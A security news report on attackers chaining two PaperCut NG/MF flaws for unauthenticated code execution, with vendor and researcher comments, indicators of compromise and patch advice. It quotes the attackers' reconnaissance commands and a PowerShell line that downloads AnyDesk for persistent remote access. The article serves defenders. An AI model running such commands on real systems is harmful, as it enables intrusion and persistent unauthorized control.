Attackers Chain Two PaperCut Flaws to Execute Code Without Authentication

Malicious actors are exploiting a newly patched security flaw in PaperCut NG and MF to execute arbitrary code on susceptible instances, as the company released a fresh emergency fix with additional hardening.

"This vulnerability gives an unauthenticated attacker remote control over PaperCut's trusted configuration, which could be used to execute arbitrary Java code inside the application's process," Huntress researchers John Hammond and Andrew Brandt said.

Specifically, an attacker can leverage an unauthenticated request to make changes to the server configuration and ultimately achieve code execution. Huntress has explained the flaw as follows -

In unpatched versions of PaperCut NG and PaperCut MF, a specifically crafted request can refer to one page that is rendered for the response, and another page that owns the component or action being executed.

PaperCut's authorization check could trust the rendered page and miss the permissions required by the component behind it. We found that an unauthenticated request could be utilized in this way to make changes to the server configuration. This enables access to sensitive endpoints that can trigger unsafe actions, and ultimately lets an ill-intended actor execute any arbitrary attacked-controlled code.

PaperCut has since publicly disclosed two flaws -

• CVE-2026-82078 (CVSS score: 9.4) - An unsafe dynamic class loading vulnerability exists in the database connection utilities of PaperCut MF and PaperCut NG. The application instantiates database driver classes based on configurable driver names without validating against an allowlist of approved drivers
• CVE-2026-81578 (CVSS score: 8.8) - An improper access control vulnerability exists in the web management interface of PaperCut MF and PaperCut NG. Under specific conditions, unauthenticated remote requests targeting administrative functions can trigger backend actions prior to the completion of access validation checks.

The development comes after PaperCut released a second emergency patch for v24, v25, and v26 that it said includes "additional hardening beyond the original emergency patch." The Australian company has yet to share details about the nature of the malicious activity weaponizing the flaws.

That said, it has shared additional indicators of compromise (IoCs) associated with the activity -

• The presence of the following strings in "server.log" -
  • DB URL: jdbc:derby:memory:pwn;create=true
  • Database error looking up cardID: VALUES CAST(X'cafebabe
  • Database error looking up cardID: VALUES CAST('
  • DB URL: jdbc:no:x DB Driver: <5-char random name>
• The presence of the following files written to disk -
  • <install>\server\lib\<5-char-name>.class
  • <install>\server\data\content\<5-char-name>.cmd
  • <install>\server\data\content\<5-char-name>.out

PaperCut has cautioned that these files may be erased by the attacker as the malicious activity progresses, and that their absence does not indicate a lack of a breach. Other observed behavior includes -

• pc-app.exe (or pc-app) process launching child shell processes (cmd.exe) and running "whoami & ver"
• Execution of a binary ("SimpleService.exe") associated with SimpleHelp via a Windows service, with the file located in the path "C:\ProgramData\JWrapper-Remote Access\JWAppsSharedConfig\restricted\")
• Installation of AnyDesk for persistent remote access via the PowerShell command: powershell Invoke-WebRequest -Uri hxxps://download[.]anydesk[.]com/AnyDesk.exe -OutFile C:\ProgramData\AnyDesk.exe

"At this time, we don't have enough evidence to determine the threat actors' ultimate end goal," John Hammond, senior principal security researcher at Huntress, told The Hacker News. "Based on what we observed, the activity appears consistent with early-stage reconnaissance or validation, including commands to identify the victim’s user account and operating system."

According to preemptive exposure management firm watchTowr, attackers are chaining together both vulnerabilities to bypass authentication and gain remote code execution on affected instances.

"CVE-2026-81578 allows you to bypass authentication, and from there, you can edit a configuration file to exploit CVE-2026-82078 and gain Remote Code Execution," Jake Knott, head of threat intelligence at watchTowr, told The Hacker News.

The cybersecurity company said it also discovered multiple patch bypasses and an additional authentication bypass vulnerability, adding one of the patch bypasses has been remediated in the second emergency patch. That said, new patch bypasses affecting the latest, fully patched version have been identified.

Huntress said it also had reported a bypass to the first set of emergency patches and that "analyzing this second set of emergency patches, we do see security improvements that remediate parts of the attack chain as we understand it."

The managed security platform has since observed limited exploitation on two customer environments, with the attackers executing Base64-encoded commands on the targeted server as part of post-exploitation activity to determine user account and operating system using a chained command "whoami & ver."

Also deployed as part of the attack is a Java .class file that's operating system agnostic and can run commands under either Linux or Windows systems to fingerprint the machine and obtain a directory listing of files stored on the computer. The data is written to a file named "Udydn.out" in a "/data/content/" path relative to the program's installation directory.

Once this step is complete, the .class file deletes "Udydn.out," the server's "server.log" file, and a "/data/internal/derby.log" file.

In another incident recorded on August 27, 2026, the threat actors are said to have used a different version of the .class file that runs a tweaked version of the command to also capture the list of running processes: "whoami & ver & tasklist"

Organizations that have PaperCut NG and MF in their environment are advised to remove public exposure immediately and apply the patch as soon as possible. It's also recommended to restrict PaperCut Application Server web access to trusted IP addresses or place it behind a VPN or another controlled administrative path.

"PaperCut is a prime target for attackers of every motivation, as not only is it an internet-facing pivot into a corporate environment, but it is a sensitive information treasure trove if printed documents can be stored and exfiltrated," Knott said in a statement shared with The Hacker News.

"Organizations with vulnerable internet-facing instances of PaperCut need to remove public internet access where possible, and begin hunting for signs of compromise, such as looking for 'Database error looking up cardID: VALUES CAST' errors in log files."

Update

In an update shared on August 31, watchTowr said it has observed exploitation activity going from exploratory probes to identify vulnerable systems to real-world exploitation combined with hands-on-keyboard interaction against breached systems.

"As part of this activity, it's noteworthy that this appears to be 'above average' (the bar still being very low) in terms of sophistication – some designed purely to facilitate external to internal network pivoting and continue attacks," Knott told The Hacker News.

"Attackers are, as always, being selfish – keying access to their deployed in-memory payloads to ensure that only they are able to access compromised hosts and continue further. This behavior is reflective of initial access brokers, and other more aggressive-outcome type operators."

watchTowr is advising organizations that have exposed their PaperCut systems to the internet in the last few days to apply the patches to prevent new attackers from finding a way in, treat them as compromised, and initiate incident response processes to completely root out existing attackers.

The ongoing exploitation activity has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add both the flaw to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 14, 2026.

PaperCut Releases Emergency Patch Release 3

PaperCut has released Emergency Patch Release 3 that supersedes prior updates, and addresses two regressions and adds additional hardening and mitigation against potential attack chains. The two regressions relate to broken SAML login flows and restoring support for using legacy Microsoft SQL Server drivers for external card lookup.

"We recommend all customers with internet-facing Application Servers install Release 3 as soon as possible, even if they have already applied an earlier emergency release," it said.

(The story has been updated after publication to include additional insights from Huntress and watchTowr.)

Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post.